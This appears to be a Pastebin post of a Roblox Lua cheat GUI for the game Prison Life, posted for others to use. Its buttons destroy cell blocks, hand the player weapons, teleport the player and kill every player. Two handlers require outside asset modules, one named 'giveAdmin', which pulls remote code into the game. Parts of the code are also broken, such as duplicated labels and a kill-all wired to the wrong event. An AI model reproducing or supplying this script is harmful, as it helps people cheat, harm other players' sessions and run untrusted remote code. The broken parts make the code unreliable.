Advertisement
hihi357674345feSW

prison life gui i made for pastebin

Jul 18th, 2024
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.76 KB | None | 0 0
  1. -- Gui to Lua
  2. -- Version: 3.2
  3.  
  4. -- Instances:
  5.  
  6. local UI = Instance.new("ScreenGui")
  7. local UI_2 = Instance.new("Frame")
  8. local BackGround = Instance.new("Frame")
  9. local Container = Instance.new("Frame")
  10. local cellbdestroy = Instance.new("TextButton")
  11. local UIGridLayout = Instance.new("UIGridLayout")
  12. local Padding = Instance.new("UIPadding")
  13. local giveextendomirror = Instance.new("TextButton")
  14. local tpallweapons = Instance.new("TextButton")
  15. local giveremington = Instance.new("TextButton")
  16. local cellAdestroy = Instance.new("TextButton")
  17. local tptoroads = Instance.new("TextButton")
  18. local giveremington_2 = Instance.new("TextButton")
  19. local killall = Instance.new("TextButton")
  20. local tptocbase = Instance.new("TextButton")
  21. local tptoroads_2 = Instance.new("TextButton")
  22. local tptogate = Instance.new("TextButton")
  23. local tolletfe = Instance.new("TextButton")
  24. local tptoroads_3 = Instance.new("TextButton")
  25. local tptoroads_4 = Instance.new("TextButton")
  26. local UnderLine = Instance.new("Frame")
  27. local Toggle = Instance.new("TextButton")
  28. local Window = Instance.new("TextLabel")
  29.  
  30. --Properties:
  31.  
  32. UI.Name = "UI"
  33. UI.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
  34. UI.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  35.  
  36. UI_2.Name = "UI"
  37. UI_2.Parent = UI
  38. UI_2.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
  39. UI_2.BorderColor3 = Color3.fromRGB(27, 42, 53)
  40. UI_2.BorderSizePixel = 0
  41. UI_2.Position = UDim2.new(0, 184, 0, 80)
  42. UI_2.Size = UDim2.new(0, 190, 0, 30)
  43.  
  44. BackGround.Name = "BackGround"
  45. BackGround.Parent = UI_2
  46. BackGround.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
  47. BackGround.BorderColor3 = Color3.fromRGB(27, 42, 53)
  48. BackGround.BorderSizePixel = 0
  49. BackGround.Position = UDim2.new(0, 0, 1, 0)
  50. BackGround.Size = UDim2.new(0, 190, 0, 200)
  51.  
  52. Container.Name = "Container"
  53. Container.Parent = UI_2
  54. Container.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
  55. Container.BorderColor3 = Color3.fromRGB(27, 42, 53)
  56. Container.BorderSizePixel = 0
  57. Container.Position = UDim2.new(-0.415789485, 0, 0.966666639, 0)
  58. Container.Size = UDim2.new(0, 367, 0, 661)
  59.  
  60. cellbdestroy.Name = "cellbdestroy"
  61. cellbdestroy.Parent = Container
  62. cellbdestroy.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  63. cellbdestroy.BackgroundTransparency = 1.000
  64. cellbdestroy.BorderColor3 = Color3.fromRGB(27, 42, 53)
  65. cellbdestroy.Size = UDim2.new(0, 200, 0, 50)
  66. cellbdestroy.Font = Enum.Font.SourceSans
  67. cellbdestroy.Text = "Destroy Cell B"
  68. cellbdestroy.TextColor3 = Color3.fromRGB(255, 0, 4)
  69. cellbdestroy.TextSize = 25.000
  70. cellbdestroy.TextWrapped = true
  71. cellbdestroy.TextXAlignment = Enum.TextXAlignment.Left
  72.  
  73. UIGridLayout.Parent = Container
  74. UIGridLayout.SortOrder = Enum.SortOrder.LayoutOrder
  75. UIGridLayout.CellSize = UDim2.new(0, 180, 0, 40)
  76.  
  77. Padding.Name = "Padding"
  78. Padding.Parent = Container
  79. Padding.PaddingLeft = UDim.new(0, 5)
  80. Padding.PaddingTop = UDim.new(0, 5)
  81.  
  82. giveextendomirror.Name = "giveextendomirror"
  83. giveextendomirror.Parent = Container
  84. giveextendomirror.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  85. giveextendomirror.BackgroundTransparency = 1.000
  86. giveextendomirror.BorderColor3 = Color3.fromRGB(27, 42, 53)
  87. giveextendomirror.Size = UDim2.new(0, 200, 0, 50)
  88. giveextendomirror.Font = Enum.Font.SourceSans
  89. giveextendomirror.Text = "Give secret mirror"
  90. giveextendomirror.TextColor3 = Color3.fromRGB(255, 0, 4)
  91. giveextendomirror.TextSize = 25.000
  92. giveextendomirror.TextWrapped = true
  93. giveextendomirror.TextXAlignment = Enum.TextXAlignment.Left
  94.  
  95. tpallweapons.Name = "tpallweapons"
  96. tpallweapons.Parent = Container
  97. tpallweapons.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  98. tpallweapons.BackgroundTransparency = 1.000
  99. tpallweapons.BorderColor3 = Color3.fromRGB(27, 42, 53)
  100. tpallweapons.Size = UDim2.new(0, 200, 0, 50)
  101. tpallweapons.Font = Enum.Font.SourceSans
  102. tpallweapons.Text = "TP weapons to you"
  103. tpallweapons.TextColor3 = Color3.fromRGB(255, 0, 4)
  104. tpallweapons.TextSize = 25.000
  105. tpallweapons.TextWrapped = true
  106. tpallweapons.TextXAlignment = Enum.TextXAlignment.Left
  107.  
  108. giveremington.Name = "giveremington"
  109. giveremington.Parent = Container
  110. giveremington.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  111. giveremington.BackgroundTransparency = 1.000
  112. giveremington.BorderColor3 = Color3.fromRGB(27, 42, 53)
  113. giveremington.Size = UDim2.new(0, 200, 0, 50)
  114. giveremington.Font = Enum.Font.SourceSans
  115. giveremington.Text = "Give Remington 870"
  116. giveremington.TextColor3 = Color3.fromRGB(255, 0, 4)
  117. giveremington.TextSize = 25.000
  118. giveremington.TextWrapped = true
  119. giveremington.TextXAlignment = Enum.TextXAlignment.Left
  120.  
  121. cellAdestroy.Name = "cellAdestroy"
  122. cellAdestroy.Parent = Container
  123. cellAdestroy.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  124. cellAdestroy.BackgroundTransparency = 1.000
  125. cellAdestroy.BorderColor3 = Color3.fromRGB(27, 42, 53)
  126. cellAdestroy.Position = UDim2.new(0.0270270277, 0, 0.324675322, 0)
  127. cellAdestroy.Size = UDim2.new(0, 200, 0, 50)
  128. cellAdestroy.Font = Enum.Font.SourceSans
  129. cellAdestroy.Text = "Destroy Cell B"
  130. cellAdestroy.TextColor3 = Color3.fromRGB(255, 0, 4)
  131. cellAdestroy.TextSize = 25.000
  132. cellAdestroy.TextWrapped = true
  133. cellAdestroy.TextXAlignment = Enum.TextXAlignment.Left
  134.  
  135. tptoroads.Name = "tp to roads"
  136. tptoroads.Parent = Container
  137. tptoroads.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  138. tptoroads.BackgroundTransparency = 1.000
  139. tptoroads.BorderColor3 = Color3.fromRGB(27, 42, 53)
  140. tptoroads.Position = UDim2.new(0.286486477, 0, 0.419294983, 0)
  141. tptoroads.Size = UDim2.new(0, 200, 0, 50)
  142. tptoroads.Font = Enum.Font.SourceSans
  143. tptoroads.Text = "tp to roads"
  144. tptoroads.TextColor3 = Color3.fromRGB(255, 0, 4)
  145. tptoroads.TextScaled = true
  146. tptoroads.TextSize = 25.000
  147. tptoroads.TextWrapped = true
  148. tptoroads.TextXAlignment = Enum.TextXAlignment.Left
  149.  
  150. giveremington_2.Name = "giveremington"
  151. giveremington_2.Parent = Container
  152. giveremington_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  153. giveremington_2.BackgroundTransparency = 1.000
  154. giveremington_2.BorderColor3 = Color3.fromRGB(27, 42, 53)
  155. giveremington_2.Size = UDim2.new(0, 200, 0, 50)
  156. giveremington_2.Font = Enum.Font.SourceSans
  157. giveremington_2.Text = "GIVE Lunch "
  158. giveremington_2.TextColor3 = Color3.fromRGB(255, 0, 4)
  159. giveremington_2.TextSize = 25.000
  160. giveremington_2.TextWrapped = true
  161. giveremington_2.TextXAlignment = Enum.TextXAlignment.Left
  162.  
  163. killall.Name = "kill all"
  164. killall.Parent = Container
  165. killall.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  166. killall.BackgroundTransparency = 1.000
  167. killall.BorderColor3 = Color3.fromRGB(27, 42, 53)
  168. killall.Position = UDim2.new(0, 0, 0.608534336, 0)
  169. killall.Size = UDim2.new(0, 200, 0, 50)
  170. killall.Font = Enum.Font.SourceSans
  171. killall.Text = "kill all"
  172. killall.TextColor3 = Color3.fromRGB(255, 0, 4)
  173. killall.TextScaled = true
  174. killall.TextSize = 25.000
  175. killall.TextWrapped = true
  176. killall.TextXAlignment = Enum.TextXAlignment.Left
  177.  
  178. tptocbase.Name = "tp to cbase"
  179. tptocbase.Parent = Container
  180. tptocbase.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  181. tptocbase.BackgroundTransparency = 1.000
  182. tptocbase.BorderColor3 = Color3.fromRGB(27, 42, 53)
  183. tptocbase.Position = UDim2.new(0.286486477, 0, 0.419294983, 0)
  184. tptocbase.Size = UDim2.new(0, 200, 0, 50)
  185. tptocbase.Font = Enum.Font.SourceSans
  186. tptocbase.Text = "tp to cbase"
  187. tptocbase.TextColor3 = Color3.fromRGB(255, 0, 4)
  188. tptocbase.TextScaled = true
  189. tptocbase.TextSize = 25.000
  190. tptocbase.TextWrapped = true
  191. tptocbase.TextXAlignment = Enum.TextXAlignment.Left
  192.  
  193. tptoroads_2.Name = "tp to roads"
  194. tptoroads_2.Parent = Container
  195. tptoroads_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  196. tptoroads_2.BackgroundTransparency = 1.000
  197. tptoroads_2.BorderColor3 = Color3.fromRGB(27, 42, 53)
  198. tptoroads_2.Position = UDim2.new(0.286486477, 0, 0.419294983, 0)
  199. tptoroads_2.Size = UDim2.new(0, 200, 0, 50)
  200. tptoroads_2.Font = Enum.Font.SourceSans
  201. tptoroads_2.Text = "tp to cbase backup "
  202. tptoroads_2.TextColor3 = Color3.fromRGB(255, 0, 4)
  203. tptoroads_2.TextScaled = true
  204. tptoroads_2.TextSize = 25.000
  205. tptoroads_2.TextWrapped = true
  206. tptoroads_2.TextXAlignment = Enum.TextXAlignment.Left
  207.  
  208. tptogate.Name = "tp to gate"
  209. tptogate.Parent = Container
  210. tptogate.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  211. tptogate.BackgroundTransparency = 1.000
  212. tptogate.BorderColor3 = Color3.fromRGB(27, 42, 53)
  213. tptogate.Position = UDim2.new(0.286486477, 0, 0.419294983, 0)
  214. tptogate.Size = UDim2.new(0, 200, 0, 50)
  215. tptogate.Font = Enum.Font.SourceSans
  216. tptogate.Text = "tp to gate "
  217. tptogate.TextColor3 = Color3.fromRGB(255, 0, 4)
  218. tptogate.TextScaled = true
  219. tptogate.TextSize = 25.000
  220. tptogate.TextWrapped = true
  221. tptogate.TextXAlignment = Enum.TextXAlignment.Left
  222.  
  223. tolletfe.Name = "tolletfe"
  224. tolletfe.Parent = Container
  225. tolletfe.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  226. tolletfe.BackgroundTransparency = 1.000
  227. tolletfe.BorderColor3 = Color3.fromRGB(27, 42, 53)
  228. tolletfe.Position = UDim2.new(0.00540540554, 0, 0.802507818, 0)
  229. tolletfe.Size = UDim2.new(0, 200, 0, 50)
  230. tolletfe.Font = Enum.Font.SourceSans
  231. tolletfe.Text = "skibidi tollet script"
  232. tolletfe.TextColor3 = Color3.fromRGB(255, 0, 4)
  233. tolletfe.TextScaled = true
  234. tolletfe.TextSize = 25.000
  235. tolletfe.TextWrapped = true
  236. tolletfe.TextXAlignment = Enum.TextXAlignment.Left
  237.  
  238. tptoroads_3.Name = "tp to roads"
  239. tptoroads_3.Parent = Container
  240. tptoroads_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  241. tptoroads_3.BackgroundTransparency = 1.000
  242. tptoroads_3.BorderColor3 = Color3.fromRGB(27, 42, 53)
  243. tptoroads_3.Position = UDim2.new(0.286486477, 0, 0.419294983, 0)
  244. tptoroads_3.Size = UDim2.new(0, 200, 0, 50)
  245. tptoroads_3.Font = Enum.Font.SourceSans
  246. tptoroads_3.Text = "tp to roads"
  247. tptoroads_3.TextColor3 = Color3.fromRGB(255, 0, 4)
  248. tptoroads_3.TextScaled = true
  249. tptoroads_3.TextSize = 25.000
  250. tptoroads_3.TextWrapped = true
  251. tptoroads_3.TextXAlignment = Enum.TextXAlignment.Left
  252.  
  253. tptoroads_4.Name = "tp to roads"
  254. tptoroads_4.Parent = Container
  255. tptoroads_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  256. tptoroads_4.BackgroundTransparency = 1.000
  257. tptoroads_4.BorderColor3 = Color3.fromRGB(27, 42, 53)
  258. tptoroads_4.Position = UDim2.new(0.286486477, 0, 0.419294983, 0)
  259. tptoroads_4.Size = UDim2.new(0, 200, 0, 50)
  260. tptoroads_4.Font = Enum.Font.SourceSans
  261. tptoroads_4.Text = "tollet script"
  262. tptoroads_4.TextColor3 = Color3.fromRGB(255, 0, 4)
  263. tptoroads_4.TextScaled = true
  264. tptoroads_4.TextSize = 25.000
  265. tptoroads_4.TextWrapped = true
  266. tptoroads_4.TextXAlignment = Enum.TextXAlignment.Left
  267.  
  268. UnderLine.Name = "UnderLine"
  269. UnderLine.Parent = UI_2
  270. UnderLine.BackgroundColor3 = Color3.fromRGB(255, 25, 25)
  271. UnderLine.BorderColor3 = Color3.fromRGB(27, 42, 53)
  272. UnderLine.BorderSizePixel = 0
  273. UnderLine.Position = UDim2.new(0, 0, 1, -1)
  274. UnderLine.Size = UDim2.new(1, 0, 0, 1)
  275.  
  276. Toggle.Name = "Toggle"
  277. Toggle.Parent = UI_2
  278. Toggle.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  279. Toggle.BackgroundTransparency = 1.000
  280. Toggle.BorderColor3 = Color3.fromRGB(27, 42, 53)
  281. Toggle.Position = UDim2.new(1, -25, 0, 0)
  282. Toggle.Size = UDim2.new(0, 25, 1, 0)
  283. Toggle.Font = Enum.Font.SourceSans
  284. Toggle.Text = "-"
  285. Toggle.TextColor3 = Color3.fromRGB(255, 0, 0)
  286. Toggle.TextSize = 17.000
  287.  
  288. Window.Name = "Window"
  289. Window.Parent = UI_2
  290. Window.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  291. Window.BackgroundTransparency = 1.000
  292. Window.BorderColor3 = Color3.fromRGB(27, 42, 53)
  293. Window.Position = UDim2.new(0.0631578937, 0, 0, 0)
  294. Window.Size = UDim2.new(0.868421078, 0, 1, 0)
  295. Window.Font = Enum.Font.SourceSans
  296. Window.Text = "Attrixx's Supa Cool Gui"
  297. Window.TextColor3 = Color3.fromRGB(255, 0, 4)
  298. Window.TextSize = 17.000
  299.  
  300. -- Scripts:
  301.  
  302. local function XAXZWF_fake_script() -- cellbdestroy.Script
  303. local script = Instance.new('Script', cellbdestroy)
  304.  
  305. function Click(mouse)
  306.  
  307. game.Workspace.Prison_Cellblock.Cells_B:Destroy()
  308.  
  309. end
  310.  
  311.  
  312. script.Parent.MouseButton1Down:connect(Click)
  313.  
  314. end
  315. coroutine.wrap(XAXZWF_fake_script)()
  316. local function DNMTS_fake_script() -- giveextendomirror.Script
  317. local script = Instance.new('Script', giveextendomirror)
  318.  
  319. function Click(mouse)
  320.  
  321. local copy = game.ReplicatedStorage.Tools["Extendo mirror"]:Clone()
  322.  
  323. copy.Parent = game.Players.LocalPlayer.Backpack
  324.  
  325. end
  326.  
  327.  
  328. script.Parent.MouseButton1Down:connect(Click)
  329.  
  330. end
  331. coroutine.wrap(DNMTS_fake_script)()
  332. local function VEXJ_fake_script() -- tpallweapons.Script
  333. local script = Instance.new('Script', tpallweapons)
  334.  
  335. function Click(mouse)
  336.  
  337. local weapons = {"Crude Knife", "Hammer"}
  338. for i, v in pairs(game.Workspace["Prison_ITEMS"].single:GetChildren()) do
  339. for j, k in pairs(weapons) do
  340. if v.Name == k then
  341. v:MoveTo(game.Players.LocalPlayer.Character.Torso.Position)
  342. end
  343. end
  344. end
  345.  
  346. end
  347.  
  348.  
  349. script.Parent.MouseButton1Down:connect(Click)
  350.  
  351. end
  352. coroutine.wrap(VEXJ_fake_script)()
  353. local function XDPCWWH_fake_script() -- giveremington.Script
  354. local script = Instance.new('Script', giveremington)
  355.  
  356. function Click(mouse)
  357.  
  358. game.Workspace.Prison_ITEMS.giver["Remington 870"].ITEMPICKUP.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
  359.  
  360. end
  361.  
  362.  
  363. script.Parent.MouseButton1Down:connect(Click)
  364.  
  365. end
  366. coroutine.wrap(XDPCWWH_fake_script)()
  367. local function LBDVF_fake_script() -- cellAdestroy.Script
  368. local script = Instance.new('Script', cellAdestroy)
  369.  
  370. function Click(mouse)
  371.  
  372. game.Workspace.Prison_Cellblock.Cells_A:Destroy()
  373.  
  374. end
  375.  
  376.  
  377. script.Parent.MouseButton1Down:connect(Click)
  378.  
  379. end
  380. coroutine.wrap(LBDVF_fake_script)()
  381. local function GWJITA_fake_script() -- tptoroads.Script
  382. local script = Instance.new('Script', tptoroads)
  383.  
  384. function Click(mouse)
  385.  
  386. game.Workspace.mainRoads.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
  387.  
  388. end
  389.  
  390.  
  391. script.Parent.MouseButton1Down:connect(Click)
  392.  
  393. end
  394. coroutine.wrap(GWJITA_fake_script)()
  395. local function MBDVN_fake_script() -- giveremington_2.Script
  396. local script = Instance.new('Script', giveremington_2)
  397.  
  398. function Click(mouse)
  399.  
  400. game.Workspace.Prison_ITEMS.giver["Lunch"].ITEMPICKUP.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
  401.  
  402. end
  403.  
  404.  
  405. script.Parent.MouseButton1Down:connect(Click)
  406.  
  407. end
  408. coroutine.wrap(MBDVN_fake_script)()
  409. local function SOONSHE_fake_script() -- killall.Script
  410. local script = Instance.new('Script', killall)
  411.  
  412. function onClicked()
  413. wait(1)
  414. local c = game.Players:getChildren()
  415. for i = 1,#c do
  416. if (c[i].Character ~= nil and c[i].Character.Humanoid ~= nil) then
  417. c[i].Character.Humanoid.Health = c[i].Character.Humanoid.Health - 100
  418. end
  419. end
  420. end
  421. script.Parent.ClickDetector.MouseClick:connect (onClicked)
  422.  
  423. end
  424. coroutine.wrap(SOONSHE_fake_script)()
  425. local function PQEF_fake_script() -- tptocbase.Script
  426. local script = Instance.new('Script', tptocbase)
  427.  
  428. function Click(mouse)
  429.  
  430. game.Workspace["Criminals Spawn"].CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
  431.  
  432. end
  433.  
  434.  
  435. script.Parent.MouseButton1Down:connect(Click)
  436.  
  437. end
  438. coroutine.wrap(PQEF_fake_script)()
  439. local function SGVNHR_fake_script() -- tptoroads_2.Script
  440. local script = Instance.new('Script', tptoroads_2)
  441.  
  442. function Click(mouse)
  443.  
  444. game.Workspace.Garages.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
  445.  
  446. end
  447.  
  448.  
  449. script.Parent.MouseButton1Down:connect(Click)
  450.  
  451. end
  452. coroutine.wrap(SGVNHR_fake_script)()
  453. local function VYQTO_fake_script() -- tptogate.Script
  454. local script = Instance.new('Script', tptogate)
  455.  
  456. function Click(mouse)
  457.  
  458. game.Workspace.Prison_road.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
  459.  
  460. end
  461.  
  462.  
  463. script.Parent.MouseButton1Down:connect(Click)
  464.  
  465. end
  466. coroutine.wrap(VYQTO_fake_script)()
  467. local function UVMNZT_fake_script() -- tolletfe.Script
  468. local script = Instance.new('Script', tolletfe)
  469.  
  470. script.Parent.RemoteEvent.OnServerEvent:Connect(function(plr)
  471. require(13858347191).skibiti(plr.Name)
  472. end)
  473. end
  474. coroutine.wrap(UVMNZT_fake_script)()
  475. local function YDTFOSM_fake_script() -- tptoroads_4.LocalScript
  476. local script = Instance.new('LocalScript', tptoroads_4)
  477.  
  478. script.Parent.MouseButton1Click:Connect(function()
  479. script.Parent.RemoteEvent:FireServer()
  480. end)
  481. end
  482. coroutine.wrap(YDTFOSM_fake_script)()
  483. local function JTPAF_fake_script() -- tptoroads_4.Script
  484. local script = Instance.new('Script', tptoroads_4)
  485.  
  486. script.Parent.RemoteEvent.OnServerEvent:Connect(function(plr)
  487. require(522666193).giveAdmin(plr.Name)
  488. end)
  489. end
  490. coroutine.wrap(JTPAF_fake_script)()
  491. local function QJEVYCI_fake_script() -- Toggle.LocalScript
  492. local script = Instance.new('LocalScript', Toggle)
  493.  
  494. local back = script.Parent.Parent.BackGround
  495. local con = script.Parent.Parent.Container
  496.  
  497. local window = {
  498. count = 0;
  499. toggles = {},
  500. closed = false;
  501. }
  502. script.Parent.MouseButton1Click:connect(function()
  503. window.closed = not window.closed
  504. script.Parent.Text = (window.closed and "+" or "-")
  505. if script.Parent.Text == "+" then
  506. back:TweenSize(UDim2.new(0, 190,0, 0), "Out", "Sine", 0.5)
  507. con:TweenSize(UDim2.new(0, 190,0, 0), "Out", "Sine", 0.5)
  508. wait(0.1) do
  509. con.Visible = false
  510. end
  511. else
  512. back:TweenSize(UDim2.new(0, 190,0, 200), "Out", "Sine", 0.5)
  513. con:TweenSize(UDim2.new(0, 190,0, 200), "Out", "Sine", 0.5)
  514. wait(0.2) do
  515. con.Visible = true
  516. end
  517. end
  518.  
  519. end)
  520.  
  521. end
  522. coroutine.wrap(QJEVYCI_fake_script)()
  523. local function DOWO_fake_script() -- UI_2.LocalScript
  524. local script = Instance.new('LocalScript', UI_2)
  525.  
  526. local dragger = {};
  527. local resizer = {};
  528.  
  529. do
  530. local mouse = game:GetService("Players").LocalPlayer:GetMouse();
  531. local inputService = game:GetService('UserInputService');
  532. local heartbeat = game:GetService("RunService").Heartbeat;
  533. -- // credits to Ririchi / Inori for this cute drag function :)
  534. function dragger.new(frame)
  535. local s, event = pcall(function()
  536. return frame.MouseEnter
  537. end)
  538.  
  539. if s then
  540. frame.Active = true;
  541.  
  542. event:connect(function()
  543. local input = frame.InputBegan:connect(function(key)
  544. if key.UserInputType == Enum.UserInputType.MouseButton1 then
  545. local objectPosition = Vector2.new(mouse.X - frame.AbsolutePosition.X, mouse.Y - frame.AbsolutePosition.Y);
  546. while heartbeat:wait() and inputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) do
  547. frame:TweenPosition(UDim2.new(0, mouse.X - objectPosition.X + (frame.Size.X.Offset * frame.AnchorPoint.X), 0, mouse.Y - objectPosition.Y + (frame.Size.Y.Offset * frame.AnchorPoint.Y)), 'Out', 'Quad', 0.1, true);
  548. end
  549. end
  550. end)
  551.  
  552. local leave;
  553. leave = frame.MouseLeave:connect(function()
  554. input:disconnect();
  555. leave:disconnect();
  556. end)
  557. end)
  558. end
  559. end
  560.  
  561. function resizer.new(p, s)
  562. p:GetPropertyChangedSignal('AbsoluteSize'):connect(function()
  563. s.Size = UDim2.new(s.Size.X.Scale, s.Size.X.Offset, s.Size.Y.Scale, p.AbsoluteSize.Y);
  564. end)
  565. end
  566. end
  567. script.Parent.Active = true
  568. script.Parent.Draggable = true
  569. end
  570. coroutine.wrap(DOWO_fake_script)()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement